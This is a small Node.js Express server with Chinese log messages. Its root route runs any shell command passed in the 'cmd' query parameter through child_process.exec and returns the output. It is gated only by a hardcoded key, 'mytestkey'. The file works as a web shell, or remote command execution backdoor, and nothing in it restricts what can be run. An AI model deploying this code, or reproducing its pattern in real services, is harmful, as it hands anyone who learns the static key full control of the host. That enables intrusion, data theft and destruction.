const express = require('express')
const { exec } = require('child_process')
const app = express()

function run_shell(cmd, res, json_data) {
    exec(cmd, (error, stdout, stderr) => {
        if (error) {
            console.log(`执行出现了错误：${error}`)
            return
        }
        json_data.msg = '开始测试'
        json_data.data = stdout
        res.send(json_data)
    })
}

app.get('/', (req, res) => {
    json_data = {msg: 'ok', errorCode: 0, data: {}}
    // console.log(req.query)
    if (req.query.mykey && req.query.mykey == 'mytestkey') {
        if (req.query.cmd) {
            run_shell(req.query.cmd, res, json_data)
        } else {
            res.send(json_data)
        }
    } else {
        res.send(json_data)
    }
})

app.listen(3000, () => console.log(''))